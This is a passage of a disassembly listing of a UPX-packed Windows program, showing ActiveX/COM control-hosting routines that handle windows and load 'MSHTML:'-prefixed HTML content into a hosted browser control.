		push	edi
		mov	edi, [esp+10h]
		add	esi, 54h
		cmp	[esi], edi
		jz	short loc_402B32
		call	sub_4011B4


loc_402B32:				; CODE XREF: UPX0:00402B2Bj
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		add	esi, 58h
		cmp	[esi], edi
		jz	short loc_402B4F
		call	sub_4011B4


loc_402B4F:				; CODE XREF: UPX0:00402B48j
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		and	dword ptr [ebp-4], 0
		push	esi
		push	dword ptr [ebp+18h]
		lea	edx, [ebp-4]
		push	0
		push	offset dword_41D440
		push	edx
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+28h]
		mov	esi, eax
		mov	eax, [ebp-4]
		test	eax, eax
		jz	short loc_402B8E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402B8E:				; CODE XREF: UPX0:00402B86j
		mov	eax, esi
		pop	esi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, [ebp+18h]
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jnz	short loc_402BB2
		mov	eax, 80004003h
		jmp	loc_402EA4
; ---------------------------------------------------------------------------


loc_402BB2:				; CODE XREF: UPX0:00402BA6j
		mov	edi, [ebp+8]
		and	dword ptr [eax], 0
		lea	esi, [edi-24h]
		mov	ecx, esi
		mov	dword ptr [esp+10h], 1
		mov	byte ptr [esp+0Fh], 0
		mov	[esp+24h], esi
		call	sub_4024D9
		lea	ebx, [edi-20h]
		mov	eax, [ebx]
		mov	[esp+18h], ebx
		test	eax, eax
		jz	short loc_402BFA
		cmp	eax, [ebp+10h]
		jz	short loc_402BFA
		push	507h
		push	0
		push	0
		push	eax
		call	dword_41D2B0	; RedrawWindow
		call	sub_4044BB


loc_402BFA:				; CODE XREF: UPX0:00402BDEj
					; UPX0:00402BE3j
		push	dword ptr [ebp+10h]
		call	dword_41D294	; IsWindow
		test	eax, eax
		jz	loc_402EA0
		mov	eax, [ebp+10h]
		cmp	[ebx], eax
		jz	short loc_402C22
		mov	ebx, eax
		call	sub_404477
		mov	ebx, [esp+18h]
		mov	byte ptr [esp+0Fh], 1


loc_402C22:				; CODE XREF: UPX0:00402C10j
		cmp	dword ptr [edi+0A8h], 0
		jnz	short loc_402C47
		push	ebx
		call	sub_40188D
		test	eax, eax
		jz	short loc_402C39
		push	0Fh
		jmp	short loc_402C3B
; ---------------------------------------------------------------------------


loc_402C39:				; CODE XREF: UPX0:00402C33j
		push	5


loc_402C3B:				; CODE XREF: UPX0:00402C37j
		call	dword_41D2A8	; GetSysColor
		mov	[edi+0A8h], eax


loc_402C47:				; CODE XREF: UPX0:00402C29j
		mov	esi, [ebp+18h]
		push	dword ptr [ebp+24h]
		mov	ecx, [ebp+0Ch]
		lea	edi, [esp+12h]
		mov	ebx, esi
		mov	byte ptr [esp+12h], 0
		call	sub_417A85
		xor	ebx, ebx
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jl	short loc_402C7E
		push	dword ptr [ebp+14h]
		mov	ecx, [esp+28h]
		push	ebx
		push	dword ptr [esi]
		call	sub_404083
		mov	[esp+10h], eax


loc_402C7E:				; CODE XREF: UPX0:00402C69j
		cmp	[esp+10h], ebx
		mov	edx, [ebp+8]
		mov	esi, [ebp+1Ch]
		lea	ecx, [edx+5Ch]
		mov	edi, ecx
		movsd
		movsd
		movsd
		movsd
		jl	loc_402E6B
		mov	edi, [ebp+18h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402CB2
		cmp	[ebp+20h], ebx
		jz	short loc_402CB2
		add	edx, 70h
		push	edx
		push	ecx
		push	dword ptr [ebp+20h]
		call	sub_4014D6


loc_402CB2:				; CODE XREF: UPX0:00402C9Ej
					; UPX0:00402CA3j
		cmp	[esp+0Eh], bl
		jz	loc_402E5D
		cmp	[edi], ebx
		jz	loc_402E5D
		mov	eax, [esp+18h]
		mov	esi, dword_41D2CC
		push	0FFFFFFF0h
		push	dword ptr [eax]
		call	esi ; dword_41D2CC
		test	eax, 300000h
		jnz	short loc_402CE7
		mov	eax, [ebp+8]
		or	dword ptr [eax+0BCh], 8
		jmp	short loc_402D14
; ---------------------------------------------------------------------------


loc_402CE7:				; CODE XREF: UPX0:00402CD9j
		mov	eax, [esp+18h]
		push	0FFFFFFF0h
		push	dword ptr [eax]
		call	esi ; dword_41D2CC
		mov	esi, [esp+18h]
		and	eax, 0FFCFFFFFh
		push	eax
		push	0FFFFFFF0h
		push	dword ptr [esi]
		call	dword_41D2B4	; SetWindowLongW
		push	37h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	dword_41D2A4	; SetWindowPos


loc_402D14:				; CODE XREF: UPX0:00402CE5j
		mov	edi, [edi]
		mov	[esp+20h], edi
		cmp	edi, ebx
		jz	short loc_402D24
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]


loc_402D24:				; CODE XREF: UPX0:00402D1Cj
		mov	esi, [ebp+0Ch]
		movzx	eax, word ptr [esi]
		cmp	ax, 4Dh
		jz	short loc_402D3A
		cmp	ax, 6Dh
		jnz	loc_402EB7


loc_402D3A:				; CODE XREF: UPX0:00402D2Ej
		movzx	eax, word ptr [esi+2]
		cmp	ax, 53h
		jz	short loc_402D4E
		cmp	ax, 73h
		jnz	loc_402EB7


loc_402D4E:				; CODE XREF: UPX0:00402D42j
		movzx	eax, word ptr [esi+4]
		cmp	ax, 48h
		jz	short loc_402D62
		cmp	ax, 68h
		jnz	loc_402EB7


loc_402D62:				; CODE XREF: UPX0:00402D56j
		movzx	eax, word ptr [esi+6]
		cmp	ax, 54h
		jz	short loc_402D76
		cmp	ax, 74h
		jnz	loc_402EB7


loc_402D76:				; CODE XREF: UPX0:00402D6Aj
		movzx	eax, word ptr [esi+8]
		cmp	ax, 4Dh
		jz	short loc_402D8A
		cmp	ax, 6Dh
		jnz	loc_402EB7


loc_402D8A:				; CODE XREF: UPX0:00402D7Ej
		movzx	eax, word ptr [esi+0Ah]
		cmp	ax, 4Ch
		jz	short loc_402D9E
		cmp	ax, 6Ch
		jnz	loc_402EB7


loc_402D9E:				; CODE XREF: UPX0:00402D92j
		cmp	word ptr [esi+0Ch], 3Ah
		jnz	loc_402EB7
		push	esi
		call	dword_41D1F0	; lstrlenW
		lea	edi, [eax+eax-0Eh]
		push	edi
		push	42h
		call	dword_41D208	; GlobalAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_402EAD
		and	dword ptr [esp+1Ch], 0
		push	ebx
		call	dword_41D210	; GlobalLock
		push	edi
		add	esi, 0Eh
		push	esi
		push	edi
		push	eax
		call	sub_401125
; ---------------------------------------------------------------------------
		add	esp, 10h
		push	ebx
		call	dword_41D1EC	; GlobalUnlock
		lea	eax, [esp+1Ch]
		push	eax
		push	1
		push	ebx
		call	dword_41D3A8
		mov	[esp+10h], eax
		test	eax, eax
		jl	short loc_402E3F
		mov	eax, [esp+20h]
		mov	ecx, [eax]
		and	dword ptr [esp+14h], 0
		lea	edx, [esp+14h]
		push	edx
		push	offset dword_424284
		push	eax
		call	dword ptr [ecx]
		mov	[esp+10h], eax
		test	eax, eax
		jl	short loc_402E31
		mov	eax, [esp+14h]
		push	dword ptr [esp+1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	[esp+10h], eax


loc_402E31:				; CODE XREF: UPX0:00402E1Dj
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_402E3F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402E3F:				; CODE XREF: UPX0:00402DFDj
					; UPX0:00402E37j
		mov	eax, [esp+1Ch]
		test	eax, eax
		jz	short loc_402E4D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402E4D:				; CODE XREF: UPX0:00402E45j
					; UPX0:00402EB5j
		xor	ebx, ebx


loc_402E4F:				; CODE XREF: UPX0:00402ECEj
					; UPX0:00402F5Ej ...
		mov	eax, [esp+20h]
		cmp	eax, ebx
		jz	short loc_402E5D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402E5D:				; CODE XREF: UPX0:00402CB6j
					; UPX0:00402CBEj ...
		cmp	[esp+10h], ebx
		jl	short loc_402E6B
		mov	eax, [ebp+8]
		cmp	[eax+3Ch], ebx
		jnz	short loc_402EA0


loc_402E6B:				; CODE XREF: UPX0:00402C91j
					; UPX0:00402E61j
		mov	esi, [esp+24h]
		mov	ecx, esi
		call	sub_4024D9
		mov	eax, [esp+18h]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_402EA0
		push	507h
		push	ebx
		push	ebx
		push	eax
		call	dword_41D2B0	; RedrawWindow
		cmp	[esp+10h], ebx
		jge	short loc_402EA0
		cmp	byte ptr [esp+0Fh], 0
		jz	short loc_402EA0
		call	sub_4044BB


loc_402EA0:				; CODE XREF: UPX0:00402C05j
					; UPX0:00402E69j ...
		mov	eax, [esp+10h]


loc_402EA4:				; CODE XREF: UPX0:00402BADj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------


loc_402EAD:				; CODE XREF: UPX0:00402DC1j
		mov	dword ptr [esp+10h], 8007000Eh
		jmp	short loc_402E4D
; ---------------------------------------------------------------------------


loc_402EB7:				; CODE XREF: UPX0:00402D34j
					; UPX0:00402D48j ...
		mov	eax, [edi]
		lea	ecx, [esp+14h]
		push	ecx
		push	offset dword_4242D4
		push	edi
		mov	[esp+20h], ebx
		call	dword ptr [eax]
		cmp	[esp+14h], ebx
		jz	loc_402E4F
		lea	eax, [esp+38h]
		push	eax
		call	dword_41D248
		mov	edi, dword_41D23C
		xor	eax, eax
		mov	[esp+28h], ax
		lea	eax, [esp+28h]
		push	eax
		call	edi ; dword_41D23C
		push	8
		pop	eax
		push	esi
		mov	[esp+2Ch], ax
		call	dword_41D234
		mov	[esp+30h], eax
		cmp	eax, ebx
		jnz	short loc_402F21
		push	0Ah
		pop	eax
		mov	[esp+28h], ax
		mov	eax, 8007000Eh
		push	eax
		mov	[esp+34h], eax
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_402F21:				; CODE XREF: UPX0:00402F08j
		mov	eax, [esp+14h]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+0A4h]
		mov	eax, [esp+14h]
		mov	ecx, [eax]
		lea	edx, [esp+38h]
		push	edx
		push	edx
		push	edx
		push	edx
		lea	edx, [esp+38h]
		push	edx
		push	eax
		call	dword ptr [ecx+0D0h]
		lea	eax, [esp+28h]
		push	eax
		call	edi ; dword_41D23C
		lea	eax, [esp+38h]
		push	eax
		call	edi ; dword_41D23C
		mov	eax, [esp+14h]
		cmp	eax, ebx
		jz	loc_402E4F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_402E4F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F6F	proc near		; DATA XREF: UPX0:00424190o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+80h]
		mov	ecx, [ecx+34h]
		shr	eax, 5
		and	eax, 1
		mov	[ebp+arg_0], eax
		test	ecx, ecx
		jz	short loc_402FA9
		mov	edx, [ecx]
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_10]
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_C]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		push	[ebp+arg_4]
		push	ecx
		call	dword ptr [edx+1Ch]
		mov	eax, [ebp+arg_0]


loc_402FA9:				; CODE XREF: sub_402F6F+1Aj
		pop	ebp
		retn	14h
sub_402F6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FAD	proc near		; DATA XREF: UPX0:00424194o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_402FBC
		mov	eax, 80004003h
		jmp	short locret_402FED
; ---------------------------------------------------------------------------


loc_402FBC:				; CODE XREF: sub_402FAD+6j
		mov	ecx, [esp+arg_0]
		mov	edx, [ecx+34h]
		test	edx, edx
		jz	short loc_402FD9
		mov	ecx, [edx]
		push	esi
		lea	esi, [eax+8]
		push	esi
		add	eax, 4
		push	eax
		push	edx
		call	dword ptr [ecx+20h]
		pop	esi
		jmp	short locret_402FED
; ---------------------------------------------------------------------------


loc_402FD9:				; CODE XREF: sub_402FAD+18j
		mov	edx, [ecx+98h]
		mov	[eax+4], edx
		mov	ecx, [ecx+9Ch]
		mov	[eax+8], ecx
		xor	eax, eax

locret_402FED:				; CODE XREF: sub_402FAD+Dj
					; sub_402FAD+2Aj
		retn	8
sub_402FAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FF0	proc near		; DATA XREF: UPX0:00424198o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+80h]
		mov	ecx, [ecx+34h]
		shr	eax, 6
		and	eax, 1
		mov	[ebp+arg_0], eax
		test	ecx, ecx
		jz	short loc_403028
		mov	eax, [ecx]
		lea	edx, [ebp+arg_0]
		push	edx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	dword ptr [eax+24h]
		mov	eax, [ebp+arg_0]


loc_403028:				; CODE XREF: sub_402FF0+1Aj
		pop	ebp
		retn	18h
sub_402FF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40302C	proc near		; DATA XREF: UPX0:0042419Co

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+34h]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40303F
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+28h]

locret_40303F:				; CODE XREF: sub_40302C+Bj
		retn	4
sub_40302C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403042	proc near		; DATA XREF: UPX0:004241A0o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+34h]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_403055
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+2Ch]

locret_403055:				; CODE XREF: sub_403042+Bj
		retn	4
sub_403042	endp


; =============== S U B	R O U T	I N E =======================================



sub_403058	proc near		; DATA XREF: UPX0:004241A4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+34h]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_403074
		mov	edx, [esp+arg_4]
		mov	eax, [ecx]
		neg	edx
		sbb	edx, edx
		push	edx
		push	ecx
		call	dword ptr [eax+30h]

locret_403074:				; CODE XREF: sub_403058+Bj
		retn	8
sub_403058	endp


; =============== S U B	R O U T	I N E =======================================



sub_403077	proc near		; DATA XREF: UPX0:004241A8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+34h]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_403093
		mov	edx, [esp+arg_4]
		mov	eax, [ecx]
		neg	edx
		sbb	edx, edx
		push	edx
		push	ecx
		call	dword ptr [eax+34h]

locret_403093:				; CODE XREF: sub_403077+Bj
		retn	8
sub_403077	endp


; =============== S U B	R O U T	I N E =======================================



sub_403096	proc near		; DATA XREF: UPX0:004241ACo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+34h]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_4030B2
		mov	edx, [esp+arg_4]
		mov	eax, [ecx]
		neg	edx
		sbb	edx, edx
		push	edx
		push	ecx
		call	dword ptr [eax+38h]

locret_4030B2:				; CODE XREF: sub_403096+Bj
		retn	8
sub_403096	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030B5	proc near		; DATA XREF: UPX0:004241B0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+34h]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_4030E4
		mov	eax, [esp+arg_C]
		mov	edx, [ecx]
		neg	eax
		sbb	eax, eax
		push	eax
		push	[esp+4+arg_8]
		mov	eax, [esp+8+arg_4]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		push	ecx
		call	dword ptr [edx+3Ch]

locret_4030E4:				; CODE XREF: sub_4030B5+Bj
		retn	10h
sub_4030B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E7	proc near		; DATA XREF: UPX0:004241B4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	edi
		mov	edi, [eax+34h]
		mov	[ebp+var_4], 1
		test	edi, edi
		jz	short loc_403130
		push	esi
		push	[ebp+arg_8]
		lea	esi, [ebp+arg_0]
		call	sub_40120D
		mov	ecx, [edi]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_C]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		push	edi
		call	dword ptr [ecx+40h]
		push	[ebp+arg_0]
		call	dword_41D25C
		pop	esi


loc_403130:				; CODE XREF: sub_4030E7+14j
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	10h
sub_4030E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403138	proc near		; DATA XREF: UPX0:004241B8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		inc	ebx
		test	edi, edi
		jnz	short loc_403151
		mov	eax, 80004003h
		jmp	loc_4031D3
; ---------------------------------------------------------------------------


loc_403151:				; CODE XREF: sub_403138+Dj
		and	dword ptr [edi], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_403179
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+44h]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_403174
		cmp	dword ptr [edi], 0
		jnz	short loc_4031D0


loc_403174:				; CODE XREF: sub_403138+35j
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_4031D0
; ---------------------------------------------------------------------------


loc_403179:				; CODE XREF: sub_403138+25j
		push	dword ptr [esi+0A0h]
		call	dword_41D238
		test	eax, eax
		jz	short loc_4031D0
		push	dword ptr [esi+0A0h]
		call	dword_41D258
		add	eax, 2
		push	eax
		mov	[ebp+arg_4], eax
		call	dword_41D3BC
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4031AF
		mov	eax, 8007000Eh
		jmp	short loc_4031D2
; ---------------------------------------------------------------------------


loc_4031AF:				; CODE XREF: sub_403138+6Ej
		push	dword ptr [esi+0A0h]
		push	[ebp+arg_4]
		push	ebx
		call	sub_4010AC
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4031CC
		mov	eax, 80004005h
		jmp	short loc_4031D2
; ---------------------------------------------------------------------------


loc_4031CC:				; CODE XREF: sub_403138+8Bj
		mov	[edi], ebx
		xor	ebx, ebx


loc_4031D0:				; CODE XREF: sub_403138+3Aj
					; sub_403138+3Fj ...
		mov	eax, ebx


loc_4031D2:				; CODE XREF: sub_403138+75j
					; sub_403138+92j
		pop	esi


loc_4031D3:				; CODE XREF: sub_403138+14j
		pop	edi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_403138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031D9	proc near		; DATA XREF: UPX0:004241BCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jnz	short loc_4031EB
		mov	eax, 80004003h
		jmp	short loc_403241
; ---------------------------------------------------------------------------


loc_4031EB:				; CODE XREF: sub_4031D9+9j
		and	dword ptr [esi], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+34h]
		push	edi
		mov	edi, 80004001h
		test	eax, eax
		jz	short loc_40323E
		and	[ebp+arg_8], 0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_8]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+48h]
		mov	edi, eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_403228
		mov	ecx, [eax]
		push	esi
		push	offset dword_4242E4
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		mov	eax, [ebp+arg_8]


loc_403228:				; CODE XREF: sub_4031D9+3Dj
		test	edi, edi
		jl	short loc_403231
		cmp	dword ptr [esi], 0
		jnz	short loc_403234


loc_403231:				; CODE XREF: sub_4031D9+51j
		xor	edi, edi
		inc	edi


loc_403234:				; CODE XREF: sub_4031D9+56j
		test	eax, eax
		jz	short loc_40323E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40323E:				; CODE XREF: sub_4031D9+23j
					; sub_4031D9+5Dj
		mov	eax, edi
		pop	edi


loc_403241:				; CODE XREF: sub_4031D9+10j
		pop	esi
		pop	ebp
		retn	0Ch
sub_4031D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_403246	proc near		; DATA XREF: UPX0:004241C0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jnz	short loc_403256
		mov	eax, 80004003h
		jmp	short loc_40328F
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: sub_403246+7j
		and	dword ptr [esi], 0
		mov	eax, [esp+4+arg_0]
		mov	ecx, [eax+34h]
		test	ecx, ecx
		jz	short loc_40327B
		mov	eax, [ecx]
		push	esi
		push	ecx
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jl	short loc_403274
		cmp	dword ptr [esi], 0
		jnz	short loc_40328F


loc_403274:				; CODE XREF: sub_403246+27j
		mov	eax, 80004002h
		jmp	short loc_40328F
; ---------------------------------------------------------------------------


loc_40327B:				; CODE XREF: sub_403246+1Cj
		mov	ecx, [eax+30h]
		mov	[esi], ecx
		mov	eax, [eax+30h]
		test	eax, eax
		jz	short loc_40328D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_40328D:				; CODE XREF: sub_403246+3Fj
		xor	eax, eax


loc_40328F:				; CODE XREF: sub_403246+Ej
					; sub_403246+2Cj ...
		pop	esi
		retn	8
sub_403246	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403293	proc near		; DATA XREF: UPX0:004241C4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_C]
		test	ebx, ebx
		jnz	short loc_4032A9
		mov	eax, 80004003h
		jmp	loc_403348
; ---------------------------------------------------------------------------


loc_4032A9:				; CODE XREF: sub_403293+Aj
		and	dword ptr [ebx], 0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, [eax+34h]
		mov	[ebp+var_4], 1
		test	edi, edi
		jz	loc_403343
		push	[ebp+arg_8]
		and	[ebp+arg_C], 0
		lea	esi, [ebp+arg_0]
		call	sub_4011E3
		mov	eax, [eax]
		mov	ecx, [edi]
		lea	edx, [ebp+arg_C]
		push	edx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword ptr [ecx+50h]
		push	[ebp+arg_0]
		mov	esi, dword_41D25C
		mov	[ebp+var_4], eax
		call	esi ; dword_41D25C
		cmp	[ebp+var_4], 0
		jl	short loc_403337
		push	[ebp+arg_C]
		mov	edi, dword_41D238
		call	edi ; dword_41D238
		test	eax, eax
		jz	short loc_403337
		push	[ebp+arg_C]
		call	edi ; dword_41D238
		lea	edi, [eax+eax+2]
		push	edi
		call	dword_41D3BC
		mov	[ebx], eax
		test	eax, eax
		jnz	short loc_403327
		push	[ebp+arg_C]
		call	esi ; dword_41D25C
		mov	eax, 8007000Eh
		jmp	short loc_403346
; ---------------------------------------------------------------------------


loc_403327:				; CODE XREF: sub_403293+86j
		push	edi
		push	[ebp+arg_C]
		push	edi
		push	eax
		call	sub_401125
; ---------------------------------------------------------------------------
		add	esp, 10h
		jmp	short loc_40333E
; ---------------------------------------------------------------------------


loc_403337:				; CODE XREF: sub_403293+61j
					; sub_403293+70j
		mov	[ebp+var_4], 1


loc_40333E:				; CODE XREF: sub_403293+A2j
		push	[ebp+arg_C]
		call	esi ; dword_41D25C


loc_403343:				; CODE XREF: sub_403293+2Aj
		mov	eax, [ebp+var_4]


loc_403346:				; CODE XREF: sub_403293+92j
		pop	edi
		pop	esi


loc_403348:				; CODE XREF: sub_403293+11j
		pop	ebx
		leave
		retn	10h
sub_403293	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40334D	proc near		; DATA XREF: UPX0:004241C8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		jnz	short loc_40335F
		mov	eax, 80004003h
		jmp	short loc_4033B7
; ---------------------------------------------------------------------------


loc_40335F:				; CODE XREF: sub_40334D+9j
		and	dword ptr [edi], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+34h]
		xor	ebx, ebx
		inc	ebx
		test	eax, eax
		jz	short loc_4033B3
		and	[ebp+arg_8], 0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_8]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+54h]
		cmp	[ebp+arg_8], 0
		mov	ebx, eax
		jz	short loc_40339A
		push	edi
		lea	eax, [esi-24h]
		mov	ecx, [eax]
		push	offset dword_4242F4
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax


loc_40339A:				; CODE XREF: sub_40334D+3Bj
		test	ebx, ebx
		jl	short loc_4033A3
		cmp	dword ptr [edi], 0
		jnz	short loc_4033A6


loc_4033A3:				; CODE XREF: sub_40334D+4Fj
		xor	ebx, ebx
		inc	ebx


loc_4033A6:				; CODE XREF: sub_40334D+54j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_4033B3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4033B3:				; CODE XREF: sub_40334D+22j
					; sub_40334D+5Ej
		pop	esi
		mov	eax, ebx
		pop	ebx


loc_4033B7:				; CODE XREF: sub_40334D+10j
		pop	edi
		pop	ebp
		retn	0Ch
sub_40334D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033BC	proc near		; CODE XREF: sub_403418+69p
					; sub_4034C9+18p ...
		push	0
		mov	eax, offset loc_41BF38
		call	sub_40C46D
		mov	eax, [ebp+8]
		mov	eax, [eax+60h]
		xor	ecx, ecx
		xor	esi, esi
		mov	[ebp+8], ecx
		test	eax, eax
		jz	short loc_4033EA
		mov	ecx, [eax]
		lea	edx, [ebp+8]
		push	edx
		push	offset dword_424304
		push	eax
		call	dword ptr [ecx]
		mov	ecx, [ebp+8]


loc_4033EA:				; CODE XREF: sub_4033BC+1Bj
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_403400
		push	dword ptr [ebp+0Ch]
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+14h]
		mov	ecx, [ebp+8]
		mov	esi, eax


loc_403400:				; CODE XREF: sub_4033BC+34j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	ecx, ecx
		jz	short loc_40340E
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]


loc_40340E:				; CODE XREF: sub_4033BC+4Aj
		mov	eax, esi
		call	sub_40C50C
		retn	8
sub_4033BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403418	proc near		; DATA XREF: UPX0:004241ECo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
